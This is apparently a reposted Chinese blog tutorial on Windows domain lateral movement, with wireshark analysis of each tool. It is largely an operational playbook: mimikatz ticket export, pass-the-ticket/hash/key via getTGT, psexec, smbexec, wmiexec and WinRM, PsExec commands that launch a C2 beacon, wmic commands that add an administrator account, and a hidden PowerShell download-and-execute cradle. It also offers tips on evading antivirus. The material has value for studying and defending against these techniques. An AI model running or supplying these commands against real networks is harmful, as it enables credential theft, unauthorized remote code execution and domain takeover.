Local Group Memberships *Administrators(需要使用 net localgroup administrators HEIHU577\heihu577 /delete 从 DC 上删除, 否则后续 dir \\dc.heihu577.com\c$ 依旧能够访问) *Users
Global Group memberships *Domain Users
C:\Users\Administrator\Desktop\mimikatz\x64>C:\Windows\System32\net user administrator | findstr "Global Group memberships"
Local Group Memberships *Administrators *Users
Global Group memberships *Domain Admins *Domain Users
*Enterprise Admins *Group Policy Creator
这里heihu577_test隶属于Domain Admins组中, heihu577隶属于Domain Users组中, administrator是真正的超级域管账户.
生成票据【与上一个 getTGT 申请 TGT 案例唯一不同就是: 密码使用了明文密码不是 AES】
administrator 用户案例
getTGT.py heihu577.com/administrator:Qazwsxedc123! # 使用明文密码生成票据, 当然也可以使用 NTLM HASH 值或者 AES-KEY 进行生成, 这里为了方便就这样生成吧...
生成成功后, 使用 mimikatz 导入内存前后对比:
我们可以通过klist来查询当前电脑中的票据:
删除可以使用klist purge. 在这个列表中, 我们可以看到系统自动生成了cifs/DC.heihu577.com的票据:
dir \\dc.heihu577.com\c$
↓
Windows SMB 客户端 → 查自己的 Kerberos 缓存,有没有 cifs/dc 的 ST?
↓ 没有
自动拿 TGT → 去找 KDC 申请 TGS-REQ(SPN: cifs/dc.heihu577.com)
↓
KDC 返回 TGS-REP(cifs/dc 的 ST)
↓
Windows 拿 ST → AP-REQ 发给 DC 的 SMB 服务
↓
验证通过 → 给你列目录
使用 administrator 域管用户, 我们可以成功访问其他机器.
Domain Admins 组用户案例
老规矩, 生成票据:
随后使用mimikatz进行注入:
可以看到的是, 普通域管权限仍然可以访问其他机器.
Domain Users 组用户案例
实际上 Domain Users 组中理论上来说是没有任何权限的, 但是这里我们还是做一下实验:
随后导入, 访问其他机器发现“拒绝访问”:
Ccache & Kirbi 票据转化
不同格式注入内存案例
不同的工具生成的票据后缀不一样常见的有两种Ccach和Kirbi,类似于压缩包rar和zip都是压缩文件,本质上都是一种东西。getTgt生成的是Ccache,Kekeo生成Kirbi。
我们看一下这 getTGT 以及 Kekeo 这两款工具生成的区别:
可以看到这里成功生成了两个文件, 后缀不同:
这里 mimikatz 提供了两种注入方式, 均支持这两种形式:
最终效果:
哪种后缀在 mimikatz 中就需要使用哪种命令. 不管生成哪种后缀, 实际上都是可以进行传递的.
不同格式转换案例
通常是将 ccache 转换为 kirbi 格式, 使用 impacket 包中自带的转化格式工具即可:
ticketConverter.py administrator.ccache administrator.kirbi
转化效果:
注入内存:
C2 上线
通常, 我们票据传递都会采用 TGT, 不会采用 ST, 原因是 TGT 能够访问的比 ST 多很多, ST 仅仅是某一台机器的某个服务…
本身系统中存在票据的场景
我们知道的是, klist 可以进行查看本身系统中就存在的票据, 那么我们如何将本身系统就存在的票据进行导出出来呢?这适用于我们打下域控之后, 来获取域控的 TGT 的手法. 在 mimikatz 中导出票据的命令为:
privilege::debug
token::elevate
sekurlsa::tickets /export
但是这里需要进行提权, 也就意味着域普通账号是没有权限进行导出的, 但实际上如果说我们在普通的域账号登录的机器中本身内存中就存在了票据, 那么我们也没有必要导出(因为已经具有权限了, 直接使用 dir 等命令进行访问即可).
这里就演示一下导出票据的操作:
通常, 在一个登录账号中, krbtgt则是 TGT, cifs则是 ST, 我们在导出时需要分清. 通常 TGT 都是带有时效性的, 最好控制在 20 分钟之内进行使用.
上线演示
假设现在通过信息收集或一切其他手法, 知道了域控的明文密码 || AES-KEY || NTLM等信息, 那么我们可以在域内中随便一台普通机器进行生成票据, 随后使用定时任务 || 服务启动进行上线即可:
横向移动工具
在上述描述的横向移动手法分为如下:
IPC$:使用明文的账号密码进行认证(最初演示的明文密码手法, net use 命令)
PTH:使用NTLM-hash值进行认证(Pass The Hash)
PTK:使用AES秘钥进行认证(Pass The Key)
PTT:使用票据进行认证(Pass The ticket)
当我们通过认证之后, 通常会需要使用计划任务 || 服务在其他认证成功的电脑进行执行命令达到 RCE 的效果. 不过这种方式较为麻烦, 因为我们需要进行手动设置计划任务, 如果遇到杀软的场景需要做免杀…
除了计划任务 && 服务, 还有什么方法或工具可以进行远程操作对方电脑?分别为如下工具可以进行使用:
1. psexec工具
2. smbexec工具
3. WMI命令
4. DCOM接口
5. WinRM服务
这些工具在 impacket 包中均存在:
heihu577@heihu577s-MacBook-Pro examples % pwd
/Users/heihu577/Desktop/MyTools/impacket/examples
heihu577@heihu577s-MacBook-Pro examples %
heihu577@heihu577s-MacBook-Pro examples % ls -al | grep exec
-rwxr-xr-x 1 heihu577 staff 12705 1 28 17:16 atexec.py
-rwxr-xr-x 1 heihu577 staff 28603 1 28 17:16 dcomexec.py
-rwxr-xr-x 1 heihu577 staff 30158 1 28 17:16 psexec.py
-rwxr-xr-x@ 1 heihu577 staff 25856 5 18 14:45 smbexec.py
-rwxr-xr-x 1 heihu577 staff 19694 1 28 17:16 wmiexec.py
psexec
psexec 是 windows 下非常好的一款远程命令行工具。Psexec是微软提供的 pstools 命令中的一个,psexec 的使用不需要对方主机开方 3389 端口,只需要对方开启 admin$ 共享和 ipc$(该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防火墙 (防火墙禁止445端口连接),说白了要开启 445【通过 SMB 文件上传 + 命名管道 RPC + 命令 I/O】 和 135【RPC Endpoint Mapper】 端口,如果没有开启 psexec 也是不能使用的所以杀毒软件将其列在白名单中,以下的这个psexec是官方提供的,还有其他第三方开发的psexec工具比如之前讲的impactek中的,当然还有PS脚本等,但是原理都一样。
微软下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools, 但通常都使用 impacket 版.
基本使用可参考: https://www.cnblogs.com/yuy0ung/articles/18521555
常用命令
微软版本常用使用命令格式:
# 1. 半交互式 SHELL(进入对方机器的命令行)
PsExec.exe -accepteula \\192.168.108.101 -u administrator -p admin cmd.exe
# 2. SYSTEM 权限交互式 SHELL(whoami 返回 SYSTEM)
PsExec.exe -accepteula \\192.168.108.101 -s cmd.exe
# 3. 指定工作目录进入交互式 SHELL(目标 C:\ 为工作目录)
PsExec.exe -accepteula \\192.168.108.101 -u administrator -p admin -w C:\ cmd.exe
# 4. 执行单条命令(不进入交互)(修正:whoami 没有 all 参数)
PsExec.exe -accepteula \\192.168.108.101 -u administrator -p admin whoami
# 5. 不等待执行文件(后台启动 beacon.exe)
PsExec.exe -accepteula \\192.168.108.101 -u administrator -p admin -d C:\beacon.exe
# 6. 用管理员提升令牌后台执行(-h = elevated token)
PsExec.exe -accepteula \\192.168.108.101 -u administrator -p admin -h -d C:\beacon.exe
执行效果:
原理抓包分析 & 部分场景说明
接下来我们通过 wireshark 来观察一下 psexec 中流量的走向, 这里使用微软的 psexec.exe 进行演示:
默认使用 NTLM 认证, 建立认证完毕之后, 会与对方电脑建立 IPC以及访问共享目录, 对于 ADMIN$ 的含义为:
随后会将 PSEXESVC.exe 文件上传到 C:/Windows 目录中:
随后会创建一个服务:
随后:
这里命名管道的含义为: 命名管道基于smb协议通信,它是用来让两个进程间进行通信的命名管道有点类似于socket连接,是用来传输数据的。这里也不难理解, 我们进行远程通讯最基本的就是通过 socket 链接, 随后进行TCP通讯.
当然了, 通过 psexec 进行远程链接会留下大量的操作日志:
当然了, 安装中也能看到登录的日志… 当然, 如果开启了火绒等杀软, 在流量层我们会看到拦截的场景:
因此, 如果要做免杀的场景, 我们需要对 PSEXEC 的链接机制来进行魔改, 看是否能够进行绕过火绒, 并且 PSEXEC 落地的文件是否存在被杀软杀掉的情况等…
当然了, 由于 psexec 仍然使用的是 NTLM 进行认证, 因此可以使用明文密码 & PTH & PTK & PTT进行认证, 当然对于 psexec 也存在合适的场景:
- 工作组场景: 使用 PTH 认证(利用 mimikatz 建立认证 || impacket 包中的 psexec)
- 域场景: 使用 PTK & PTT 认证(impacket 包中的 psexec 支持 PTK || PTT 认证)
不同认证下的 psexec 上线操作
认证权限问题
在之前我们总结了这个表格:
| 认证方式 | 工作组(administrator) | 工作组(普通管理员) | 工作组(普通用户) | 域(administrator) | 域(普通域管理员) | 域(普通域用户) | | — | — | — | — | — | — | — | | IPC$ | √ | ×(早期电脑可以) | × | √ | √ | × | | PTH | √ | ×(早期电脑可以) | × | √ | √ | × | | PTK | 无 | 无 | 无 | √ | √ | × | | PTT | 无 | 无 | 无 | √ | √ | × |
根据该表格我们可以发现, 不同的用户在不同场景下的不同的利用方式存在一些差异.
工作组 – administrator
尝试一波工作组下 administrator 的情况, 直接使用 net use 建立链接之后再进行浏览 C 盘操作即可:
工作组 – 普通管理员【Windows 低版本可以】
可以看到低版本的 Win Server 2003 使用普通管理员即可认证成功.
域内 – 普通管理员【可以】
从这里我们可以看到, Domain Admins 组内的用户可以进行 PTH.
psexec 操作(impacket 案例)
Windows exe 版本可以通往: https://gitee.com/RichChigga/impacket-examples-windows/ 安装
工作组 – administrator
工作组 – 普通管理员【Windows 低版本可以】
域环境 – 普通管理员【可以】
如果上述场景所使用的认证方式不同, 那么有概率会遇到无法上线的场景, 针对于 PTK & PTT 认证问题, 可以参考 impacket 包中的认证方式:
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If
valid credentials cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-keytab KEYTAB Read keys for SPN from keytab file
一些实验结果:
| 机器 | 认证方式 | 环境 | 是否可以 | 环境 | 是否可以 | | — | — | — | — | — | — | | Win2008 | IPC$ | 工作组 | √ | 域环境 | √ | | Win2008 | PTH | 工作组 | √ | 域环境 | √ | | Win2008 | PTK | 工作组 | × | 域环境 | √ | | Win2008 | PTT | 工作组 | × | 域环境 | √ |
工作组最好使用 PTH 进行认证, 域中最好使用 PTT 认证(不容易执行失败).
smbexec
介绍 & 使用
2013年 的 Defcon 上,就引入了smbexec,后续smbexec被Impacket进一步完善了。在Impacket中支持明文认证,NTLM认证,Aeskey认证等方式。
攻击 Win7 案例
非常简单, 根据提示的直接使用即可:
阻塞问题
但是使用 smbexec 有一个问题, 如果要运行的程序没有被及时关闭, 那么就会陷入阻塞状态, 例如:
此时需要将 win7 的 calc 关闭掉才可以正常链接:
工具运行原理【Wireshark 抓包】
1、建立IPC$连接
2、通过服务执行命令
2、将命令放在%temp%/execute.bat中
3、运行execute.bat文件,将结果存储在C:/_output文件中
4、删除execute.bat
5、通过客户端读取目标机器的C:/_output文件中内容
这里我们仍然通过 Wireshark 抓包来体验这个过程:
首先过程类似于 psexec, 最核心的是执行的命令部分:
其中执行的命令为:
%COMSPEC% /Q /c echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
解释:
:: 第 1 段:构造 bat
echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat
:: ^> 被转义成字面 >,所以写入 %TEMP%\execute.bat 的实际内容是:
:: whoami > \\127.0.0.1\C$\__output 2>&1
:: 即「执行 whoami,stdout 写到 \\127.0.0.1\C$\__output,stderr 合并到 stdout」
:: 第 2 段:执行 bat
%COMSPEC% /Q /c %TEMP%\execute.bat
:: 新起一个 cmd 跑这个 bat,bat 里的 whoami > \\127.0.0.1\C$\__output 就会被执行
:: 第 3 段:清理
del %TEMP%\execute.bat
:: 删掉中转 bat,自清理
由于命令执行的结果会放到 \\127.0.0.1\C$\__output 中, 而calc是一个应用程序, 并不会回显, 所以__output文件中不存在内容, psexec 想读读不到, 因此造成了阻塞. 理解为下图:
impacket 客户端 目标 192.168.174.133
│
│── SMB2 连接 ADMIN$/C$ ──────────►
│── CreateService(binPath=上述模板) ► services.exe
│── StartService ─────────────────► services.exe
│ │
│ cmd.exe 写 %TEMP%\execute.bat
│ cmd.exe 执行 bat
│ whoami > \\127.0.0.1\C$\__output
│ del %TEMP%\execute.bat
│ │
│◄── SMB read \\127.0.0.1\C$\__output ─┘
│── SMB delete __output ──────────►
│── DeleteService ────────────────►
由于 smbexec 每次运行都会进行执行 execute.bat 等文件, 因此在系统中会留下大量日志…
wmiexec【躲避杀软】
介绍 & 使用
在 Windows 中我们常常使用过 cmd, PowerShell. 但实际上 Windows 还提供了 WMI, WMI 是一个 Windows 命令集, 可以通过 wmic 来进入到命令窗口:
C:\Users\Administrator>wmic /?
WMIC 已弃用。
[全局开关] <命令>
可以使用以下全局开关:
/NAMESPACE 别名在其上操作的命名空间的路径。
/ROLE 包含别名定义的角色的路径。
/NODE 别名在其上操作的服务器。
/IMPLEVEL 客户端模拟级别。
/AUTHLEVEL 客户端身份验证级别。
/LOCALE 客户端应使用的语言 ID。
/PRIVILEGES 启用或禁用所有权限。
/TRACE 将调试信息输出到 stderr。
/RECORD 记录所有输入命令和输出内容。
/INTERACTIVE 设置或重置交互模式。
/FAILFAST 设置或重置 FailFast 模式。
/USER 会话期间要使用的用户。
/PASSWORD 登录会话时要使用的密码。
/OUTPUT 指定输出重定向模式。
/APPEND 指定输出重定向模式。
/AGGREGATE 设置或重置聚合模式。
/AUTHORITY 指定连接的 <授权类型>。
/?[:<BRIEF|FULL>] 用法信息。
有关特定全局开关的详细信息,请键入: switch-name /?
WMI 是 Windows 在 Powershell 还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI服务使用 DCOM 或 WinRM 协议,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将WMI的操作记录在日志中。因此很多APT开始使用WMI进行攻击。
| 命令 | 用处 | 风险评估 |
| :--- | :--- | :--- |
| `wmic logon list brief` | 登录用户 | ✅ 信息收集 |
| `wmic ntdomain list brief` | 域控机器 | ✅ 信息收集 |
| `wmic useraccount list brief` | 用户列表 | ✅ 信息收集 |
| `wmic share get name,path` | 查看系统共享 | ✅ 信息收集 |
| `wmic service list brief \|more` | 服务列表 | ✅ 信息收集 |
| `wmic startup list full` | 识别开机启动的程序,包括路径 | ✅ 信息收集 |
| `wmic fsdir "c:\\test" call delete` | 删除C盘下的test目录 | ⚠️ **风险命令** |
| `wmic nteventlog get path,filename,writeable` | 查看系统中开启的日志 | ✅ 信息收集 |
| `wmic nicconfig get ipaddress,macaddress` | 查看系统中网卡的IP地址和MAC地址 | ✅ 信息收集 |
| `wmic qfe get description,installedOn` | 使用wmic识别安装到系统中的补丁情况 | ✅ 信息收集 |
| `wmic product get name,version` | 查看系统中安装的软件以及版本,2008R2上执行后无反应。 | 🟡 **注意**:可能触发MSI重新配置 |
| `wmic useraccount where "name='%UserName%'" call rename newUserName` | 更改当前用户名 | ⚠️ **风险命令** |
| `wmic useraccount where "name='Administrator'" call Rename admin` | 更改指定用户名 | ⚠️ **风险命令** |
| `wmic bios list brief \| findstr /i "vmware"` | 查看当前系统是否是VMWARE,可以按照实际情况进行筛选 | ✅ 信息收集 |
| `wmic desktop get screensaversecure,screensavertimeout` | 查看当前系统是否有屏保保护,延迟是多少 | ✅ 信息收集 |
| `wmic process where name="vmtoolsd.exe" get executablepath` | 获取指定进程可执行文件的路径 | ✅ 信息收集 |
| `wmic environment where "name='temp'" get UserName,VariableValue` | 获取temp环境变量 | ✅ 信息收集 |
当然, 这些功能实际上我们可以当做命令进行操作使用, 查看进程, 链接远程电脑, 设置 IP 地址等等操作…
横向命令 & 演示
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig > c:\ip.txt"
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "c:\programdata\test.bat"
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add"
wmic /NODE:IP地址 /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""
上述命令可以用于横向渗透测试, 用于远程链接, 如图:
注意: 部分命令能过 Windows Defender, 但是过不了 火绒 等开发版本的杀软. 原因如下:
存在这些选项的原因: 个人电脑通常不会使用 WMI 进行远程操控电脑等, 但内网中可能会存在一些原因需要使用到这些服务, 所以企业内网环境可能会开.
RPC 协议分析
OXIDResolve 接口
DCERPC 是一个非常基础的 Windows 系统的通信协议。DCERPC 比 RDP 协议更普遍,默认开启,内容丰富,接口众多,早期的安全人员在其基础上写了很多蠕虫病毒,DCERPC 的默认端口是 135,上面承载了包含 WMI,认证包括 ntlm 挑战相应,甚至还能获取网卡IP地址列表。
在之前我们的 psexec 以及 smbexec 走的是 SMB 协议, 通常 SMB 协议可能会在内网中不太好用(可能会遇到关闭的情况), 例如: 永恒之蓝.
wireshark 抓包分析
接下来我们看一下这个远程 wmic 的流量包, 先看一下前四个数据包:
其中重要的是第 3 和 4 步, 这里攻击者调用接口之后, 能够获取到受害机器返回过来的机器信息: 工作组名, 域名, IP 地址等信息.
通过这里我们可以发现, OXIDResolve 接口是未授权的, 也就意味着我们能够进行嗅探其他机器上的信息, 有些机器可能配置了多块网卡等.
因此在内网中, 我们如果想要知道哪台机器的网卡是多网卡, 可以利用 OXID 进行窃取网卡信息. 可参考: https://mp.weixin.qq.com/s/-fZSXi9dMih-_HVhObVPBQ, 实际上 fscan 也集成了该工具.
NTLM SSP
介绍
这个服务主要针对RPC(远程过程调用),通常RPC可以选择基于两种通信方式,一种是传输协议,比如TCP/IP、UDP、IPX等,另一种为命名管道(Pipeline)。通常情况下Windows默认选择都是传输协议,而由于RPC是采用非加密传输的,通信数据安全无法得到保证,而 NtlmSsp 就可向这一类RPC提供安全服务。
wireshark 抓包分析
而认证的部分在前四个数据包之后的, 我们这里来一一分析:
受害机响应:
接下来就是攻击机进行 NTLM 认证的流程:
那么这三个数据包实际上就是完整的 NTLM 认证流程, 认证完毕之后, 则开始调用ISystemActivator接口的remoteCreateInstance函数, 用于创建一个实际对象引用等, 后续全部都是类似的流量:
并且整个流量包并不存在cmd.exe等我们执行命令的字眼. 通过这些我们可得知整个通讯过程并没有使用 SMB (445 端口), 主要是用了 135 端口:
因此使用此手法需要对方服务器打开了 135 端口.
UUID【拓展】
实际上有一些带有攻击含义的 UUID 是固定的, 可以参考表格:
1FF70682-0A51-30E8-076D-740BE8CEE98B Scheduled Task (MS-TSCH) ATSvc
378E52B0-C0A9-11CF-822D-00AA0051E40F Scheduled Task (MS-TSCH) SASec
86D35949-83C9-4044-B424-DB363231FD0C Scheduled Task (MS-TSCH) ITaskSchedulerService
4FC742E0-4A10-11CF-8273-00AA004AE673 Distributed File System (DFS): Namespace Management Protocol MS-DFSNM
e3514235-4b06-11d1-ab04-00c04fc2dcd2 Directory Replication Service (MS-DRSR)
a8e0653c-2744-4389-a61d-7373df8b2292 File Server Remote VSS Protocol - MS-FSRVP
c681d488-d850-11d0-8c52-00c04fd90f7e Encrypting File System Remote (EFSRPC) Protocol - (MS-EFSR) (unauthenticated implementation)
df1941c5-fe89-4e79-bf10-463657acf44d Encrypting File System Remote (EFSRPC) Protocol - (MS-EFSR)
12345778-1234-ABCD-EF00-0123456789AB Local Security Authority (Domain Policy) Remote Protocol (MS-LSAD)
12345678-1234-ABCD-EF00-01234567CFFB Netlogon Remote Protocol - (NRPC)
12345678-1234-ABCD-EF00-0123456789AB Print System Remote Protocol (MS-RPRN)
76F03F96-CDFD-44FC-A22C-64950A001209 Print System Asynchronous Remote Protocol (MS-PAR)
338CD001-2244-31F1-AAAA-900038001003 Remote Registry (MS-RRP)
12345778-1234-ABCD-EF00-0123456789AC Security Account Manager (SAM) Remote Protocol (MS-SAMR)
367ABB81-9844-35F1-AD32-98F038001003 Service Control Manager Remote Protocol (MS-SCMR)
4b324fc8-1670-01d3-1278-5a47bf6ee188 Server Service Remote Protocol (MS-SRVS)
6BFFD098-A112-3610-9833-46C3F87E345A Workstation Service Remote Protocol (MS-WKST)
利用条件
对于 wmic 这个命令工具来说, 只要是一个管理员用户即可正常运行该工具. 但横向使用的账号只能使用本地最高管理员 administrator 或域管理员用户.
那么其次就是需要使用 135 端口, 受害机的 135 端口需要打开. 通常, 135 & 445 端口默认在 Windows 机器中开放.
当然, 有一些脚本比如: impacket 包中的 wmiexec 功能上封装了 SMB 功能, 这可能导致 wmiexec 在实战运用中失效…(端口 或 杀软 拦截)
仅 135 端口利用工具可以参考: https://github.com/XiaoliChan/wmiexec-Pro
上线展示 & 工具利用
原生语句
这里首先是建议使用原生的 wmic 命令进行远程命令执行. 当然如果想要进行 PTH, PTK 等使用, 可以利用 mimikatz 工具进行实现.
另外无文件落地的情况可以采用 PowerShell 来进行无文件落地命令执行.
wmiexec
使用 impacket 包中的 wmiexec 可以进行上线, 不过弊端是这里可能会借助 445 端口(SMB), 若 445 端口没有正常返回工具的逻辑可能会导致命令执行失败, 先整理出命令如:
wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" #执行命令
最终结果:
其中流量夹杂了 SMB:
只不过该工具的回显功能, 借助了 445 端口 SMB 进行回传, 将命令执行的结果输出到某个文件中随后进行读取…
Wmiexec-Pro
参考: https://github.com/XiaoliChan/wmiexec-Pro, 仅通过 135 端口实现 RCE.
WinRM
对于 WinRM 来说, 我们之前在隧道总结时说明过, 基础概念不再过多赘述: HTTP是5985端口进行通信, HTTPS 是5986端口来进行通信.
使用 WinRM 做横向时, 依旧使用winrs命令进行横向移动. 另外WinRM的流量特征为:
这里 Authorization 使用的是 NTLM 挑战响应协议. 通常 WinRM 遵循如下几点:
- 默认情况下,WinRM 使用 TCP 端口号 5985(HTTP)和 5986(HTTPS)进行通信。
- WinRM 支持不同类型的身份验证和安全协议,如基本身份验证、NTLM 和 Kerberos
- 请求的地址的wsman
另外横向的时候需要注意客户端配置:
Winrs error:WinRM 客户端无法处理该请求。可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中, 并且提供了显式凭据。使用 winrm.cmd 配置 TrustedHosts。请注意, TrustedHosts 列表中的计算机可能未经过身份验证。有关如何设置 TrustedHosts 的详细信息, 请运行以下命令 输入出现 请 输入 winrm set winrm/config/Client @{TrustedHosts=”*”}
当然, winrm 同样支持在域中使用, 只不过 -u 参数指明时, 需要使用: 域名\用户名的格式, 同时支持票据传递, 比如 PTT 需要生成票据然后导入到内存之后, 直接无需密码即可认证:
winrs -r:http://dc.abc.com:5985 "whoami"
Evil-WinRM-Py(PTH 演示)
github: https://github.com/adityatelange/evil-winrm-py, 该脚本实现了对 winrm 的 PTH 传递攻击. 安装方式:
pip install evil-winrm-py==1.6.0
在 Windows 下, 安装完毕之后, 可以使用: ewp 命令进行查看是否成功
可以看到, 通过 evil-winrm-py 项目, 可以完美进行 PTH 攻击.
Ending…
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Heihu Share Heihu577 Heihu577《内网横向手法汇总》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论